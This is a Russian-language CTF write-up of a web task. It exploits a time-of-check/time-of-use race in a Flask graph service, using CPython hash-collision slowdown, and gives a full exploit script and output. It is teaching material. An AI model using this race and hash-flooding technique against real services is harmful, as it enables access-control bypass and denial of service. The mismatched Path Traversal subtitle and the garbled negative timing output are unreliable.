/Разборы задач
12 ноября 2026
Райтап на задачу «Просмотр файлов»
Разбор причины Path Traversal в файловом сервисе на Flask и пример проверки пути внутри разрешённого каталога.33
5
Категория: Web
Уязвимость: TOCTOU
Баллы: 100
Текст задания:
I build a new scratch competitor
Содержимое app.py:
There is a hidden opcode, type 1337, whose output is the flag (the flag bytes as
a little-endian integer). Normal users are not allowed to use it: the very first
thing ``compute`` does is check that no node has type 1337. Only *after* that
check passes does it build its node table and evaluate. What could go wrong?Перевод:
Существует скрытый опкод с типом 1337, результатом выполнения которого является флаг (байты флага, представленные в виде целого числа в формате little-endian). Обычным пользователям использовать его нельзя: первым делом функция
computeпроверяет, нет ли в системе узлов с типом 1337. И только после успешного прохождения этой проверки она формирует таблицу узлов и приступает к вычислениям. Что здесь может пойти не так?
Фраза «Only after that check passes does it build its node table and evaluate» — это прямая наводка на [1]TOCTOU (Time-Of-Check to Time-Of-Use).
Содержимое def compute:
def compute(nodes):
# МОМЕНТ ПРОВЕРКИ: флаг операции (opcode) должен отсутствовать.
guard(nodes)
# Индексировать узлы по их идентификаторам...
nmap = {}
for node in nodes:
nmap[node["id"]] = node
memo = {}
def evaluate(nid, stack):
node = nmap.get(nid)
...
# МОМЕНТ ИСПОЛЬЗОВАНИЯ: здесь поля узла считываются в режиме реального времени.
t = node["type"]
if t == T_FLAG:
val = FLAG_INT
...Анализ: в момент проверки флага node["type"] ещё не прочитан. Значит, его можно поменять.
Содержимое эндпоинтов:
@app.post("/api/graph")
def upload_graph():
...
nodes = parse_nodes(body.get("nodes"))
guard(nodes) # проверка
...
@app.patch("/api/graph/<gid>")
def patch_graph(gid):
...
patch = parse_node(body) # небольшая правка - проверка флага здесь отсутствует
...
for node in nodes:
if node["id"] == patch["id"]:
# Измените существующий узел на месте.
node["type"] = patch["type"]
node["args"] = patch["args"]Анализ: в upload проверка guard есть.
В patch комментарий «проверка флага здесь отсутствует» — это ещё одна подсказка. Патч правит nodes, который потом читает def compute. Никаких блокировок в PATCH нет — GRAPHS_LOCK используется только при создании графа, а не при патче/чтении.
Итог:
POST /api/graph — проверяет type != 1337;
PATCH /api/graph/<gid> — не проверяется;
POST /api/graph/<gid>/compute — сначала guard(), потом долго что-то делает, потом читает node["type"].
Гипотеза: загрузить граф без 1337, тогда запустится compute, после пройдёт guard. В этот момент начать состояние гонки: сделать PATCH и поставить type: 1337 на узел, до которого evaluate дойдёт позже. Получить FLAG_INT в ответе.
Проблема 1: compute на обычном графе отрабатывает за миллисекунды, и PATCH прилетит либо до guard (тогда compute вернёт the flag operation (type 1337) is not available), либо уже после того, как узел посчитан как const 0.
Подсказка в app.py:
# On 64-bit CPython, hash(n) == n % (2**61 - 1) for non-negative ints.
assert sys.hash_info.modulus == 2 ** 61 - 1, "run me on 64-bit CPython"Это не случайный assert. Он намекает на классическую проблему: hash-collision DoS. В CPython hash(n) для целых n — это n mod (2^61 - 1). Значит, все числа вида 0, M, 2M, 3M, … (M = 2^61 - 1) имеют одинаковый хеш 0.
Анализ compute:
nmap = {}
for node in nodes:
nmap[node["id"]] = nodeПри вставке N ключей с одинаковым хешем каждая вставка вынуждена пройти по всей цепочке: O(N) на вставку — O(N²) суммарно. Второй проход evaluate для каждого узла делает nmap.get(nid) — тоже O(N), ещё один O(N²).
То есть при N = 15000 и {0, M, 2M, …} фаза nmap в compute крутится несколько секунд — этого достаточно, чтобы успеть сделать PATCH.
Проблема 2: если target стоит первым — evaluate может отработать его раньше, чем мы пошлём PATCH, и вернёт 0.
Решение: поставить target последним — он будет читать свой type уже после подмены и вернёт FLAG_INT.
import sys, time, threading, requests
BASE = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "«URL»"
M = 2**61 - 1
def build_graph(N):
nodes = [{"id": k * M, "type": 2} for k in range(N)]
target_id = N * M
nodes.append({"id": target_id, "type": 2})
return nodes, target_id
def do_compute(gid, box, t0):
try:
r = requests.post(f"{BASE}/api/graph/{gid}/compute", timeout=180)
box.append((r, time.time() - t0))
except Exception as e:
box.append((e, time.time() - t0))
def attempt(N, sleep):
print(f"\n=== N={N} sleep={sleep}s ===")
nodes, target_id = build_graph(N)
t0 = time.time()
r = requests.post(f"{BASE}/api/graph", json={"nodes": nodes}, timeout=180)
up = time.time() - t0
print(f"upload: {r.status_code} in {up:.2f}s ({len(nodes)} nodes)")
if r.status_code != 200:
print(" fail:", r.text[:200]); return None
gid = r.json()["id"]
box = []
ts = time.time()
th = threading.Thread(target=do_compute, args=(gid, box, ts), daemon=True)
th.start()
time.sleep(sleep)
pr = requests.patch(
f"{BASE}/api/graph/{gid}",
json={"id": target_id, "type": 1337, "args": []},
timeout=60,
)
print(f"patch: {pr.status_code} at t={time.time()-ts:.2f}s")
th.join(timeout=200)
if not box:
print(" compute never returned"); return None
res, td = box[0]
if isinstance(res, Exception):
print(f" compute exc at t={td-ts:.2f}s: {res}"); return None
print(f"compute: {res.status_code} at t={td-ts:.2f}s")
if res.status_code != 200:
print(" ", res.text[:200]); return None
val = int(res.json()["results"][str(target_id)])
print(f"target = {val}")
if val == 0:
print(" (patch, видимо, был слишком поздно)"); return None
raw = val.to_bytes((val.bit_length() + 7) // 8, "little")
return raw.decode(errors="replace")
for N, sleep in [
(15000, 0.5),
(15000, 1.0),
(20000, 1.0),
(20000, 2.0),
(30000, 2.0),
(10000, 0.3),
]:
flag = attempt(N, sleep)
if flag:
print(f"\n[+] FLAG: {flag}")
breakpython3 exploit.py=== N=15000 sleep=0.5s ===
upload: 200 in 87.45s (15001 nodes)
patch: 200 at t=0.80s
compute: 200 at t=-1793702822.66s
target = 91014927778188996304690805199267959931957186356337227542142370648360476694628291313276155134891921834033890579311712716841214279871263843
[+] FLAG: ctfcup{9cd591ac67dd2dc2b6f439b2c88617be_680341af6de60eb8}[1] TOCTOU (Time-of-Check to Time-of-Use — «от времени проверки до времени использования») — это класс программных ошибок и уязвимостей безопасности, возникающих из-за состояния гонки (race condition). Она появляется тогда, когда программа проверяет состояние какого-либо ресурса (например, файла, прав доступа или переменной), а затем использует этот ресурс, но в промежутке между проверкой и использованием состояние ресурса успевает измениться.